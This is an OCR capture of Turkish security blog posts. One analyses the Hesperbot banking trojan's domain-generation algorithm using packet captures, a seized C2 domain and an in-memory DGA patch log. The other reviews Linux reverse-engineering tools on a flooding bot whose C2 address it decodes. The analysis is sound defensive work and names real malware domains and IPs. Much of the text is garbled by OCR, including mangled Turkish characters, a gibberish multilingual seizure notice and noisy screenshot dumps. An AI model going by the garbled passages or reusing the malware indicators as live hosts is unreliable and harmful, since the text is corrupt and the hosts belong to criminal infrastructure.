1199 269.197087 127.0.0.2 127.0.0.1 DNS 78 standard query 0x689e A ingomfnvjbytgzttovcidjvicvg. info
1269 276.707887 127.0.0.2 127.0.0.1 DNS 72 standard query 0x6b98 A hulgqtagrmzvidgbovifjf.com
919 239.143872127.0.0.2 127.0.0.1 DNS 77 standard query 0x738d A fqcjfmfampvnzpzaurbzmrydijai.ru
681 213.476965127.0.0.2 127.0.0.1 DNS 71 standard query 0x73fd A tohejnjrduofeubrggepp.com
337 177.224837 127.0.0.2 127.0.0.1 DNS 75 standard query Ox76db A dergdatxctgqwuwlzxgqjtsgpv.com
1297 279.712207 127.0.0.2 127.0.0.1 DNS 73 standard query Ox779a A jcapcivrgpeqlzgsirwceid.biz
203 163.625282127.0.0.2 127.0.0.1 DNS 78 standard query 0x7ac3 A ibhulbthbujbmrnzdidgojitgucp.net
365 180.239171127.0.0.2 127.0.0.1 DNS 76 standard query 0x80db A pfdecapbpnlvuhcmheofgutgjn.org
667 211.964791127.0.0.2 127.0.0.1 DNS 72 standard query 0x80fc A hhmigegyvkeqsgfgswclkbj.ru
1283 278.210047 127.0.0.2 127.0.0.1 DNS 79 standard query 0x8498 A vgxcvzhbghqpijypnbblvwctwgouc. net
1381 288.725167 127.0.0.2 127.0.0.1 DNS 74 standard query 0x8f91 A emsoxgcekzxhcmduylxiffud.org
1353 285.720847 127.0.0.2 127.0.0.1 DNS 74 standard query 0x9497 A uknjdijdatdaeytmlgadupvg.com

' g File: "C:\Users\RBashir\Downloads\mal\mal... = Packets: 1464 - Displayed: 204 (13.9%) - Load time: 0:00.044

Ornegin 2008 yilinda MS08-67 zafiyetini istismar ederek diinyay1 kasip kavuran Conficker.A solucani, baridirdigit DGA sayesinde
giinde 250 tane yeni alan ad1 iiretiyordu. Ayn1 solucanin 2009 yilindaki giincellenmis olan C varyanti ise giinde 500 ile 50.000 alan ad1
iiretecek bir DGA'ya sahipti. Conficker zararli yazilimi ile miicadele esnasinda, zararlt yazilimin olusturdugu trafigi izlemek ve zararl
yazilim bulagmis olan sistemleri tespit etmek amaciyla conficker ¢aligma grubu tarafindan giinde 500 adet alan ad1 kayit ediliyor ve
analiz sistemlerine (sinkhole) yonlendiriliyordu.

Gliniimiiz zararli yazilimlarinda ise DGA, ¢ogunlukla ana haberlesme yonteminden ziyade yedek yontem olarak kullanilmaktadir.
Ornegin GameOver Zeus zararli yazilimi1 DGA'y1, kullandig ilk iki yontem calismadig: taktirde iigiincii yontem olarak kullanmaktadur.
DGA'nin birincil yontem olarak kullanilmamasinin temel sebebi, zararli yazilim analistleri, siber giivenlik uzmanlari tarafindan kod
analizi ile zararli yazilimda tespit edilen DGA'nin yani alan adlariin, yazilim gelistiricinden 6nce kayit edilebilmesine imkan tanimasidir.
Bu sayede uzmanlar, Conficker drneginde oldugu gibi zararl yazilimlar ile ilgili ¢esitli bilgileri toplayabilmekte, kimi zaman ise zararlt
yazilimlari kontrol altina alabilmektedirler.

Giindemi, analiz yazilarini takip edenler, ileri seviye Hesperbot bankacilik zararli yaziliminin, 1.5 yildir tilkemizin ve vatandaglarimizin
iizerinde kara bulut gibi dolastigini biliyordur. Gegtigimiz ayin basinda Tiibitak, Hesperbot ile ilgili yeni bir yazi yayinlayarak bu zararlt
yazilimin tilkemizde hala aktif oldugunu ve vatandasimiz i¢in ciddi bir tehdit oldugunu agikladi.

Bu vesileyle Tiibitak Bilgem Siber Giivenlik Enstitiisii'ne, Hesperbot ile miicadele adina verdigi emeklerinden dolay: tesekkiir
etmek isterim.

5 Eyliil tarihinde INTELRAD ekibi, Hesperbot'un hedef aldig1 bankalara ait kural dosyasini ve ilave modiillerini indirmek i¢in kullandig1
alan adina (followtweetertag.com) siber operasyon diizenledi. Bu operasyon sonrasinda Hesperbot zararli yazilimi bulagmis tim
sistemler, ilgili alan adina sahip web sitesine erisemedikleri i¢in (http durum kodu 502) Hesperbot'un DGA's1 tarafindan iiretilen alan
adlar1 ile baglant1 kurmaya bagladi.
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https://www.mertsarica.com/sanal-obruk/
http://blog.shadowserver.org/2014/06/08/gameover-zeus-cryptolocker/
https://www.bilgiguvenligi.gov.tr/siniflandirilmamis/hesperbot-defref-saldirilari-geliserek-devam-ediyor.html
http://sge.bilgem.tubitak.gov.tr/
https://www.intelrad.com/

Hesperbot, kural dosyast olmadan kullanicinin internet tarayicisi ile internet bankaciligi sunucusunun arasindaki trafige
miidahale edememektedir.

Prodaft - Proacte Defer =

- cH www followtweetertag com

[EN] This domain name s well as its respective owners are found 1o be mvolved m a lurge-sale fimancial frand campasgn targeting
on fimancial instingticns and their clients To prevent from any farther lom or damage that may be faced, PRODAFT CYBER
INTELLIGENCE LLC. has hereby seized this domain according to the ethics of good business practice. In lme with our cyber
imvestigation, we would like to mform vou that all responsible governmental suthonities me notfied about [P address and relevant
redentials of regpanable cvber cramanals

[TR] Bu alan ad ve ilipid bulunan yedolslerm, baskacik kurumlwm: ve miperilermi bedef alm gemy kapsamis ber sber
dolandinicilik operanvess e baglantl ciduklan tegrr edimepir Enk deperienmer geredince. bedef i araflecs spraslabiecec
mararn daha da biyGmemes adma PRODAFT Siber mibbarat Lid $u ighu alan adina ¢ kovmuy ulsmaknads  Yordtmeloe
oldugumuz gerpevesinde. tom yetils kurumilara bu sber-dolandinscilik operasyomumu yirmen gabuslara mt TP ve dijer
baglavic verder tetilmy bulunmaitady

[RU) Lammach 3oscs W efo RIA0000 CRERM ¢ obmpaol iTaoll K2 SANECRCKIN YIPEAIOHNA N ML Loiewton B coomeercraim ¢
samedt ytumoll, 8 DEIE GPEICTpAmeNIE PocTa Dogodwoll dTae & Gyaymed. wa xax $upsa PRODAFT Cyber Intelligence LLC
BAAYEION EIKIPONITE JiNce JoMennce 1 B paEay paccieacsanny, kotopos M mposomns. TP azpeca u pvTme suos

# Result  Protocol Host  LRL

|E| 356 200 HTTP Tunnel to  www.yahoo.com:443

@ 357 200 HTTPS www.yahoo.com

@358 200 HTTP tools.google.com  fservice fupdate 22w =6:EFH2B 5V GzFaR 2HTLHZGsVhFz0shG_JACYFO3N
[%] 359 302 HTTP cache.pack.google.com  fedged|fupdate2/1.3.24, 15/GoogleUpdateSetup. exe
El 360 502  HTTP Tunnel to  followtweetertag. com: 443

[%] 361 302 HTTP cache.pack.google.com  fedged|/update2/1.3.24, 15/GoogleUpdateSetup.exe
[8] 362 301 HTTP yahoo.com [

|‘E| 363 200 HTTP Tunnel to  www.yahoo.com: 443

|E| 364 200 HTTP Tunnel to  www.yahoo.com:443

@ 365 200 HTTPS www, yahoo,com

[8] 366 302 HTIP cache.pack.google.com  fedged|jupdate2f1.3.24. 15/GoogleUpdateSetup.exe
|E| 367 502 HTTP Tunnel to  followtweetertag.com: 443

[%] 388 302 HTTP cache.pack.google.com  fedged|jupdate21.3.24. 15/GoogleUpdateSetup.exe
[8] 369 302 HTIP cache.pack.google.com  fedged|jupdate2f1.3.24. 15/GoogleUpdateSetup.exe
[%] 370 301 HTTP microsoft.com

£¥371 200  HTTP www.microsoft.com [

[ 372 302 HTTP cache.pack.google.com  fedged|jupdate2/1.3.24. 15/GoogleUpdateSetup. exe
|E| 373 502 HTTP Tunnel to  followtweetertag. com: 443

[8] 374 302 HTIP google.com [

£¥375 200  HTTP www.google.com.tr  f?gfe_rd=cr&ei=sq41VImFHsaos ADA

& 378 $ 502 HTTP Tunnel to  followtweetertag. com: 443

[&] 377 301 HTTP yahoo.com |

|E| 378 200 HTTP Tunnel to  www.yahoo.com:443

|f| 379 200 HTTP Tunnel to  www, yahoo.com: 443

0 380 200 HTTPS www,yahoo.com

|E| 381 502 HTTP Tunnel to  followtweetertag.com: 443

[8] 382 301 HTTP yahoo.com

383 00 HTTP Tunnel to

) 334 200 HTTP Tunnel to

@ 385 200 HTTPS www, yahoo,com

& 388 502 HTTP Tunnel to  followtweetertag. com: 443

[8] 387 301 HTTP wikipedia.org [

€338 200 HTTP www. wikipedia.org [/

|E| 389 502 HTTP Tunnel to  followtweetertag. com: 443

[%] 320 301 HTTP microsoft.com

€¥391 200  HTTP www.microsoft.com [

El 352 502 HTTP Tunnel to followtweetertag. com: 443

[8] 393 301 HTTP yahoo.com

|E| 394 200 HTTP Tunnel to  www.yahoo.com:443

El 335 200 HTTP Tunnel to www, yahoo.com: 443

e 396 200 HTTPS www,yahoo.com

[&] 397 302 HTTP cache.pack.google.com  fedged|fupdate2/1.3.24. 15/Googl

|E| 398 200 HTTP Tunnel to  iahapemwionkmt.ru:443

5399 200 HTTPS ishapemwionkmti.ru /g

R ¢

LT BRI
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€ ortact bale @ prodat com fox more wdfo md < cmpromaned hot bt
Diaha facts begs v etisbenen [P butess i demsms gecamn: inde i prodaficom

Sexred domams
s glsmsas Mgt ra
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followtweetertag com
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{&ipoMAINTOOLS

WHOIS LO
iahapemw
PRODUGTS ~ SOLUTIONS - PRICING SUPPORT ABOUT -
Home * Reverse IP Lookup ® 94.126.178.17
94.126.178.17 Reverse IP Lookup
EnteranIF a 5 and our patented Reverse IP Lookup tool will show you all of the domains currently hosted there.
Results inclur Il gTLD domains and any known ccTLD domains.
Lookup Connected Domains Lookup tips @
iahapemwionkmti.rul LOOKUP
Example: 55.55.53.233 or 64.233.161.%

v 0

Reverse IP Lookup Results — 56 domains hosted on IP address 94.126.178.17

Domain View Whois Record Screenshots
1. 11617emircuykesméBloxwhsy biz 0 il
2. 16mésthimpjre119wE1x1 oSbajy. biz | i
3. 190nBlstutiquDezezxgxI9.biz W i

AND 53 other domains. ..

Bildiginiz gibi hem isim geregi hem de ilgi alanima girmesinden dolay1 Hesperbot iizerinde zaman zaman g¢alisma firsati yakaliyor
ve ilging buldugum noktalari sizlerle paylasiyorum. Hesperbot'un DGA's1 da uzun zamandan beri merakimi cezbediyordu fakat DGA
ile ilgili fonksiyona hata ayiklayicinin donmasindan dolay1 ok defa deneyip ulasamayinca, havlu attigim zamanlar oldu. inadim inat,
gel zaman, git zaman, giiniin birinde bunun analiz i¢in kullandigim sistemden kaynakli olabilecegini diisiinerek bu defa iizerinde
sadece tlizerince hata ayiklayici yiikli olan tertemiz bir Windows XP ile analizi gergeklestirmeye karar verdim ve herhangi bir sorun
yasamadigimi goriince Yeni Zelanda'nin HAKA dansini yapmaya basladim :)

DGA fonksiyonunu aramamdaki temel amag en kisa siirede Hesperbot'un tiretecegi alan adlarina ve hangilerinin Hesperbot gelistiricileri
tarafindan kayit edildigi bilgisine en kisa siirede ulagsmakti. Fonksiyona ulagsamadigim taktirde izleyecegim yol, Hesperbot'un oncelikle
ilgili komuta kontrol merkezi adresine baglanmasini beklemek, ardindan baglanamamasini saglamak ve iiretecegi alan adlari teker
teker kayit altina almak olacakti. Hesperbot'un ilk adrese baglanmaya ¢alismasi (followtweetertag.com) ve baglanamamasi durumunda,
yeni alan adin1 iiretmesi i¢in belli bir siire ve baglanti isteginin adet bazinda gegmesini beklemesinden &tiirii bu yontem, saatler belki
giinler siirebilirdi.

DGA'nin fonksiyonunu bulup inceledigimde ve dallanip budaklanan alt fonksiyonlarini gérdiiglimde 6niimde izlemem gereken iki yol
vardu. Birincisi ya tiim fonksiyonlarin ve komutlarin tizerinden teker teker gegecektim ve DGA'ya gore alan ad1 iireten bir kod yazacaktim
veya DGA fonksiyonunu yamayarak (patching), limit ve adet kontrollerini devre dig1 birakarak seri bir sekilde Hesperbot'un yeni alan
adlarm liretmesini saglayacaktim. Sayet zararli yazilim analisti olsaydim ve attigim tasin iirkiitecegi kurbagaya deyecegine inansaydim
kesinlikle birinci yolu secerdim dolayisiyla pratik ve kisa yolu segmeye karar verdim.
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https://www.google.com.tr/search?q=haka+dans?&source=lnms&tbm=isch

<. Immunity Debugger - Explorer.EXE - [CPU - thread D0D0D0338] <. Immunity Debugger - Explorer.EXE - [CPU - thread DDDD0338]
[C] File View Debug Plugins Immlb Options Window Help Jobs [C] File view Debug Plugins Immilb Options Window Help Jobs
s TE x> N4l 1l emtwhcPlkbzr. . onTE«xpriwHiilid+ 1 emetwhcpPlkbz [

+[EDI]

Hesperbot paketlenmis (packed) bir zararli yazilim oldugu i¢in DGA fonksiyonunu yamamak i¢in ya paketini agip, ¢alisabilir hale
getirecek ve gerekli degisiklikleri (patching) disk iizerindeyken yapacaktim ya da bellekte ¢alisir haldeyken yapacaktim. Yine fazla
zahmete girmek yerine (sanirim tembelim) ikinci yolu, bellek iizerinde degisik yapmay1 sectim. Bellek manipiilasyonu i¢in eskiden
pydbg aracini kullantyordum fakat zaman i¢inde gelistirimesine ara verilmesi nedeniyle yeni araglara dogru yelken agtim ve kisa bir
arastirmadan sonra aradigim araci buldum, WinAppDbg.

‘ WinAppDbg, Windows isletim sistemi igin gelistirilmis ve Python ile yazilmis bir hata ayiklayicisidir.

WinAppDbg modiilii ile DGA fonksiyonunda gerekli degisiklikleri yapan ufak bir ara¢ hazirladiktan sonra Hesperbot'un calistig1 bir
sistemde arac1 ¢aligtirdim ve Hesperbot'un kisa bir siire iginde yeni alan adlarini liretmesini saglayarak mutlu sona ulastim. (Hesperbot
gelistiricilerinin ekmegine yag stirmemek icin bazi kisimlar sansiirlenmistir.)
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https://github.com/OpenRCE/pydbg
http://winappdbg.sourceforge.net/

Searching Hesperhbot DGA.

Possible matches!?
Address: BAF6BEZB Instruction: CMP DWORD
Patched successfully ;>

Possible matchest
Address: BAF8A443 Instruction: CMP DUORD
Patched successfully ;>

Possible matches!?
Address: B248B2AB Instruction: CMP DUORD
Patched successfully ;>

Possible matches!?
Address: B394848B Instruction: CMP DUORD
Patched successfully ;>

Searching Hesperhot DGA... (2/2)

Possible matches!?
Address: BAF6106D Instruction: JHNZ
Patched successfully ;>

Possible matches!?
Address: BBFEB685 Ins
Patched successfully ;>

Possible matches?
Address: B39406CD Instruction: JNZ = (PC: [s—
Patched successfully ;>

C:\Documents and Settings“AdministratorsDesktopr_

B b (1B [k [ [ [ [k [k b [ 5 0 0 0 0 b b I 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 b 0 0 0 0
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Ry Federasyony
REGRU-RL

1P [ Sunuscu Bigile Utie. - Fusya Fecerasony

Registry Whois Sunucy whois ripe net |

V \: _ Jatpvjafbwptyag.ru « - -

Musait

Obgpdmijn.ru

Musait
Musait

Alan Ad, IDN, IP, E-posta adresi, baglant | link ), ... Alan Ady, IDN, IP, E-posta adresi, baglant: ( link ), ...
ru Uzanh Ulkesi = Rusya Federasyonu ru Uzanh Ulkesi = Rusya Federasyonu
Registry Whois Sunucu whois.ripn.net Registry Whois Sunucu whois.ripn.net
Registry Whois Kavdi rv Whois Kavd

' Registry Whois Kaydi

Last updated on

Kurban Bayrami'nizi en icten dileklerimle kutlar, bir sonraki yazida goériismek dilegiyle herkese giivenli giinler dilerim.

Linux’te Zararh Yazilim Analizi i¢cin Faydah Araclar

Source: https://www.mertsarica.com/linux-zararli-yazilim-analizi-icin-faydali-araclar/
By M.S on September 1st, 2014

e

Son zamanlarda Linux isletim sistemini (belki de *nix demeliyim) hedef alan zararli yazilim salginlar (#1, #3) ile ilgili haberlere sikga
rastliyoruz.

Sunucularin yani sira son kullanici sistemlerinin de hedef alinmasi (Hand of Thief bankacilik zararli yazilimi), siber giivenlik
uzmanlarinin Windows gibi Linux isletim sistemi {izerinde de zararli yazilim analizi yapabilecek bilgi ve beceriye sahip olmasi
gerektigini ortaya koymaktadir.

Fakat zararli yazilim analizi ile ilgili kitaplara, egitimlere, yazilara baktiginiz zaman ¢ogunun sadece Windows isletim sistemi ile ilgili
oldugunu gorebilirsiniz. Her yil yayinlanan siber giivenlik tehdit raporlarini incelerseniz bunun en biiyiik nedeninin, gelistirilen zararl
yazilimlarin %90'min Windows isletim sistemini hedef almasi oldugunu anlayabilirsiniz. Windows igletim sistemi i¢in gelistirilmis olan
bir zararli yazilimi analiz etmek istediginiz zaman, Linux'e kiyasla ¢cok daha fazla ara¢ bulmaniz da bu sebepten 6tiirii sasirtic1 degildir.

Linux'un agik kaynak kodlu ve 6zgiir bir platform olmasi, barindirdigi araglar ile zararli yazilim analizine olanak tanisa da (strings, gdb,
objdump, readelf, strace, file vb.), Windows'ta iicretsiz, kullanici dostu OllyDbg / Immunity Debugger ile kod analizi ger¢eklestiren bir
uzmanin Linux'te komut satirina mahkum kalmasi kimi zaman can sikici olabilmektedir.

Tabii IDA Pro'nun disassembler ve hata ayiklayici olarak Linux dosya sistemini (ELF) ve isletim sistemini destekliyor olmasi (4 sene
onceki IDA Pro ile Remote Linux Debugging yazima buradan ulasabilirsiniz) her ne kadar bu platform igin biiylik bir art1 olsa da fiyatinin
~12008 olmasi, kendini gelistirmek isteyen siber giivenlik uzmanlari i¢in biiyiik bir engel olugturmaktadir.

I¢inizi ¢ok daraltmadan, OllyDbg / Immunity Debugger ve IDA Pro'ya alternatif olarak zararli yazilim analizi ve tersine miihendislik
i¢cin Linux {izerinde kullanabileceginiz, benim de ¢ok isime yarayan iki aragtan kisaca bahsetmek istiyorum; EDB ve Hopper
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https://www.mertsarica.com/linux-zararli-yazilim-analizi-icin-faydali-araclar/
https://www.mertsarica.com/linux-zararli-yazilim-analizi-icin-faydali-araclar/
http://arstechnica.com/security/2014/03/10000-linux-servers-hit-by-malware-serving-tsunami-of-spam-and-exploits/
http://thehackernews.com/2014/07/mayhem-new-malware-targets-linux-and_24.html
https://blogs.rsa.com/rsa-peeks-into-the-bits-of-new-linux-based-trojan-hand-of-thief/
https://www.gnu.org/software/gdb/
https://sourceware.org/binutils/docs/binutils/objdump.html
https://sourceware.org/binutils/docs/binutils/readelf.html
http://www.ollydbg.de/
https://www.immunityinc.com/products-immdbg.shtml
https://www.hex-rays.com/products/ida/
https://www.mertsarica.com/ida-pro-ile-remote-linux-debugging/
http://codef00.com/projects#debugger

EDB: Windows'ta OllyDbg ile sik¢a kod analizi yapan kahramanimiz Evan, giiniin birinde Linux'te OllyDbg gibi kullanisl bir hata
ayiklayiciya ihtiya¢ duyar, bulamaz ve EDB'yi gelistirmeye baslar. Windows'ta OllyDbg kullananlar i¢in bigilmis kaftan olan EDB ile
ELF dosyalarini hem disassemble edebilir hem de hata ayiklayici olarak kullanarak rahatlikla analiz edebilirsiniz. REMnux ile birlikte
gelen EDB'yi galistirmak igin komut satirinda edb yazmaniz yeterli.

Hopper: Hopper, IDA Pro'ya alternatif olarak kullanabilecegiz, biitgenizi ¢ok zorlamayacak (89%), Mac OS X'te de ¢alisabilen, hem
hata ayiklayici, hem disassembler hem de sdzde (pseudocode kod ¢eviricisi (decompiler) olarak kullanabileceginiz bir aragtir. Python
destegine ve Objective-C destegine de sahip oldugunu hatirlatmak isterim.

Araclara kisaca g6z atmak i¢in drnek bir zararli yazilim iizerinden hizlica ilerleyelim. Elimizde komuta kontrol merkezi ile haberlesen
bir zararli yazilim var ve bu zararli yazilim komuta kontrol merkezine ait olan adresi strings, disassembler gibi araglardan gizlemek i¢in
iizerinde gizli (encoded) olarak tutuyor.

Hopper ile ELF dosyasina gdz attigimizda yapacagimiz ilk is programin baslangi¢c fonksiyonu olan main fonksiyonuna goz atmak
olacaktir. Bu fonksiyona goz attigimizda siipheli DecryptData fonksiyonunun ¢agrilmadan once yigina (stack) gizlenmis veriyi
(kyipvm-k'bl41177/bnn) kopyalandigin1 gérebiliyoruz. DecryptData fonksiyonun i¢ine girdigimizde, siradan disassembler araclari ile
yapacagimiz tek sey, komutlarin (opcode) iizerinden teker teker gecerek fonksiyonun gizlenmis veriyi nasil ¢ozdiigiinii anlamaya
calismak ve ardindan gizlenmis veriyi ¢dzen (decoder) bir ara¢ hazirlamak olacaktir. Fakat Hopper ile gelen s6zde kod (pseudocode)
cevirici (decompiler) sayesinde bu fonksiyonu s6zde koda (pseudocode) ¢evirmek ve ardindan bu kodu Python'a ¢evirerek bir decoder
yazmak gercekten oldukca basit hale geliyor. Bunun i¢in DecryptData fonksiyonunun iizerine iki defa bastiktan sonra ALT - Return
tuslarina basarak s6zde kodu goriintiileyebiliyoruz. Bundan sonrasi ise programlama bilginize kalryor.

Hopper Disassembler v3 — Hopper Disassembler v3

File Edit Find Modify Mavigate Scripts Window Help
6 « » Y- ollallc][e]v *® o = (=1 |
l rewgti3erat X
- < A | I [l 11 Wi ¥ i e 3
" I Labels  Strings 3 =
0804cfba mov edi, dword [ss:ebp-0x1318+var 4884]
0804cfbd Leave
Gt 8804cfbe ret .
resolve - ; endg
B 3 = .
= VBULRand
checksum ——————— B EGINNING OF R ) e e
UDPFlood
SynFlood
. sub_B0496b9
DNSFlood 1
sub_804a06d es4crbf phish ebp
strstri 0804acfco mov ebp, esp
% DiYTcp eBddcfcl sub esp, OxB
g sub_804a8eb 8804cfcs and esp, oxfffffffe
= sub_B04ac3l BBB4cfcB oV eax, Bx@ W Colors and Tags
p— TCPflood 8804cfcd sub esp, eax
ﬂ sub_804bl1a esddcfct sub esp, BxB Are - St e
GetOnLineMessage 0804cfd2 push oxl
countercalc pBp4cfdd push oxd Adires:
6 CPUStatus 0804cfd6 eall signal
sub_B04bsce 0804cfdb add esp, 0x18
sub_804b78¢ B04cfde sub esp, Bx8 e
DOSreturn e804ctel sub esp, Oxd
@ dosManageThread e80dcfed push 0xB80bcBOO Protniurs
sub_804baGE @Bddcfed call strlen
dawz oB04cfee add esp, 0x8 jhnaas how
StartAddress a8pacffl push eax
g sub_804c584 0804cff2 push 0x80bcBod W s Aeferenced By
sub_BO4c6da pEB4cff7 call DecryotData
install 084crr2 push OxB0DCEND Insaruction
sub B04cBal BBRACTTT call DecryptData
: i ‘ 0804CTfc add esp, Bx10 o
0804ctrf eall a
- :“‘:ﬁ?‘"“ = > analysis section jcr | 08040004 call install
> analysis section .got (68840609 call nodie
- sub_804cd13 > analysis section .bss 38044000 push oxd
nodie = analysis section __libc| 08040010 push OxBo481fE
sub_BO4cesS Analysis segment Exterr| 98040015 pusn oxe
> analysis section Exter{ 58840917 lea eax, dword [ss:ebp-8xBevar_4] Ao Retecence
ciheaad lain Background analysis endey

t

Address Ox804cfbl, Segment Segment 0, main + 0, Section .text. file offset Oxafbf
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http://codef00.com/projects#debugger
http://codef00.com/about
http://zeltser.com/remnux/
http://www.hopperapp.com/

Hopper Disassembler v3 — Hopper Disassembler v3 L £ @) 40sPm O

Fle Edit Find Modi Navigate Scripts Window Help
6 « > Hie D|lallc Pllu . 4 = [l u []
—
e I | [l 11 il d :
» Bgs 0804869 Leave p————
é 880486¢ca ret o
‘ ’
! 0B0486ch push ebp |
080486C mov ebp, esf
080486ce sub esp, 6xB
88048641 mov dword [ss:ebp-8xBsvar 4], Bx8
Pseudo Code — Hopper Disassembler v3 ke e
E
- o
ax »= arg_of 4 L
emp 8 = var 4 L
enp 1 var 4
ar 4 + a i
: arg_off
ar 4+ 0 rda4 v
arg_of
ar 4 X8 % ar_4
s off
ar_4 + arg_offset_xd 4
arg_off
a 4
- }
pax
—
= decpy B3
®
8%
X
o C\Windows\system32\cmd.exe o n“

oft Windows | 5.3. 9680 ]
} Microsoft ion. All rights reserved.

Mert Dezkt

print . encdata

for 1 in

) and (ord(i) != Ox7f)):

decdata ord(i) - Oxi)

) and (ord(i) != Ox7f)):

decdata + chr{ord(i) + Oxl)

Disassembler ve programlama ile ugragsmak istemiyorum, kisa yoldan OllyDbg'da oldugu gibi fonksiyonun (DecryptData) {izerinden
hizlica gegerek fonksiyonun gizlenmis veriyi ¢dzmesini saglayayim diyenler i¢in ise EDB hemen imdadimiza yetisiyor. EDB'ye zararli
yazilim1 yiikledikten sonra main fonksiyonuna gitmek i¢in, Plugins meniisii altinda SymbolViewer eklentisini ¢alistidiktan sonra ilgili
yere main yazip lizerine iki defa basarsaniz ana fonksiyonuna gecis yapabilirsiniz. Ardindan DecryptData (call 0x08048cb) {izerine
breakpoint (sag tus -> Add Breakpoint) koyarak F9 (Run) butonuna basarak DecryptData fonksiyonuna kadar programin devam etmesini
saglayabilirsiniz. Sag alt kisimda yer alan y1gin (stack) boliimiinde gordiigliniiz gizlenmis verinin (kyipvm-k bl41177/bnn) ¢6ziilmiis
halini gérmek i¢in F8 (Step Over) tusuna bastiginizda verinin Ixjqun.jack52088.com adresi olarak ¢oziildiigiinii gorebilirsiniz.

21



File View Debug Plugins Options Help

edb - /home/remnux/Desktop/upx/rewgtf3erdt [5892]

o d» &1

is Found For This Region

0804: cthf[55 push ebp ;I [fsis ) 2%
0804:cfcO(89 e5 mov ebp, esp ] CErETS W PUTnEE T
0804:cfc2|83 ec 08 sub esp, 8 [l i B
0804:cfcs |82 ed fO and esp, Oxfo -EAX: 00000014
0804:cfcE(b8 80 00 00 00 mov eax, 0 ek EenCEnes
0804:cfcd |29 c4 sub esp, eax -ECX: ffffffea
0804:cfcf 83 ec 08 sub esp, 8 EDX: 00000000
0804:cfd2|6a 01 push 1 -EBP: bfabdebs
0804:cfd4|6a Od push 13 ESP: bfabd&ad
0804:cfds|eg fd 6f GO GO call Ox08053fd8 =rewgtf3erdt::ssignal= -ESI: 00000000
0804 L |83 c4 10 add esp, 16 EDI: G804f7ac
0804: 83 ec 08 sub esp. 8 -EIP: 0804cff7 =rewgtf3erdt::.
0804 83 ec 04 sub esp, 4 EFLAGS: 00200282
0804: £8 00 c8 Gb OB push 0xB8Gbc8E0 B ET =
0804: eS8 b2 40 01 @0 call Gx080610a0 =rewgtf3erdt::strlen=
0804: 83 c4 08 add esp, 8
0804: 50 push eax EERRIE e
0804 68 00 cB Gb 08 push exosebcso
0804 e8 cf b6 ff ff call 0x0B0486chb =rewgtf3erdt::DecryptData= Address Comment |
0804: 83 c4 10 add esp, 16
0804: e8 b7 fb ff ff call Ox0804chbb =rewgtf3erdt::a=
0804: e8 5c f6 ff ff call Ox0804cE65 =rewgtf3erdt::install=
0804:d003 (e8 cO fd ff fF call Gx0804cdce =rewgtf3erdt::nodie=
0804 6a 00 push @
0804:d010|68 fO 81 04 08 push 0x080481f0
0804: 6a 00 push @
AFA4 : di) 8d 45 fc lea eax. [ehn-41 LI
0xP80486ch = 080486chb <rewgtf3erdt::DecryptData+o>
Add Del Clear |
Data Dump 2 X
-
08048000-080bc000 J
0204:8000(7f 45 4c 46 GL 01 Gl GO GO GO GO
0804:5010(02 00 03 6O 01 00 60 08 00 51 04 kO e rEtUEita DEOlace
0204:8020(b4 Bc 07 OO GO 0O GO GO 34 00 20 4|oooooazd |-
18030(17 00 14 GO O1 GO 0O 0O 0O GO GO 2|bfabdscs
gggg gg ?g gg gg S? gg gg gg :g g; g; c|@8053a90|. : return to 08053390 <rewgtf3erdt::_ libc_start_main+lec=
carenlan 7 Ak AR 20 B3 A0 A0 fo 62 0A 0|00EEEeAL (. ...
[ hfab:d6cd |bfabdsfa |68« =
bfab: d6cs |bfabdafe|ig«: =l
paused
\ L & |- [rem... Jl"é:;l:edb ]“- [rerm... |||. | upx |||- rem... J||_XM|nd J|||.mXM|n... J||_[edb ...J|||®(Unt|... J|

edb - /fhome/remnux/Desktop/upx/rewgtf3erdt [5892]

File View Debug Plugins Options Help

|lo & & 18

|

0804:cthf|55 push ebp ;I BEgl=iEs ) 2%
0804:cfcO(89 e5 mov ebp, esp ] CErETS W PUTnEE T
0804:cfc2|83 ec 08 sub esp, 8 [l : B
0804:cfcS |83 e4 fO and esp, 0xfo eoooR0.
0804:cfcE(b8 80 00 00 00 mov eax, 0 BEeeEeese
0804 :cfcd (29 ca sub esp, eax 00000003
0804:cfcf |83 ec 08 sub esp, 8 00000001
0804:cfd2|6a 01 push 1 bfabdsbs
0804:cfd4|{6a od push 13 bfabdsad
0804:cfds|eg fd 6f GO GO call Ox08053fd8 =rewgtf3erdt::ssignal= 00000000
0804:cfdb |83 c4 10 add esp, 16 08041 7ac
0804:cfde |83 ec 08 sub esp, 8 0804cffc <rewgtf3erdt:
0804:cfel (83 ec 04 sub esp, 4 00200246
0804:cfed|68 00 c8 Ob 08 push Ox086bcB00 =] e
0804:cfed|e8 b2 40 01 GO call Ox08061l0a0 =rewgtf3erdt::strlen=
0804:cfee |83 c4 08 add esp, 8
0864:cffl (50 push eax Bookmarks X
0804:cff2|(68 00 c8 Ob 08 push Gx086bc8E0
0804:cff7|e8 cf be ff ff call Ox080486ch =rewgtf3srdt::DecryptData= Address Comment |
=H0804:cffc(83 c4 10 add esp, 16
0804:cfff|ed8 b7 fb ff ff call Ox0804chbb =rewgtf3erdt::a=
0804: e8 5c f6 ff ff call Ox0804cE65 =rewgtf3erdt::install=
0804:d009|e8 cO fd ff ff call Ox0804cdce =rewgtf3erdt::nodie=
0804 6a 00 push @
0804 : d |68 fo 81 04 08 push Gx08G48110
0804: 6a 00 push @
AFA4 : di) 8d 45 fc lea eax. [ehn-41 LI
esp = bfabd6ad
Add Del Clear |
Data Dump & X & X
5| 080hcE00 .EEI. ASCII "lxjqun.jack52088.com” ;I
08048000-080bc000 00000014/, ...
bfabd6bs| O«
18000(7f 45 4c 46 Ol 01 01 OC GO OO OC G0 |a .
15010|02 00 03 00 0L GO 00 00 B0 8l 04 08 :’ : gggggggg ExeisCELUTATED 02018060
18020|b4 8c 07 OO 0O G0 00 G0 34 00 20 00 | 0000002d iy
e oo [P
1 8040 e e [ i i
18050(00 10 00 00 O1 00 00 00 €0 37 07 00 (. : ggggg;g? .t |return to 08053a90 <rewgtf3erdt::  libc_start_main+lec=
2nEflan 7 nAh AR 2IN B2 AN AN fo £ NAA_AR i
[ 3| bfabdaf4|s«: =
bfabdsfc|ug«: =l

Linux iizerinde tersine miithendislik ve zararl1 yazilim analizi ile ilgilenmek isteyenler i¢in faydali bir yazi oldugunu timit ederek bir

Ji"é::hedb ”i- [rem... |

|. | upx |||- [rem... m:XMind mmXMin... m:[edb ...m®(umi...]

sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.




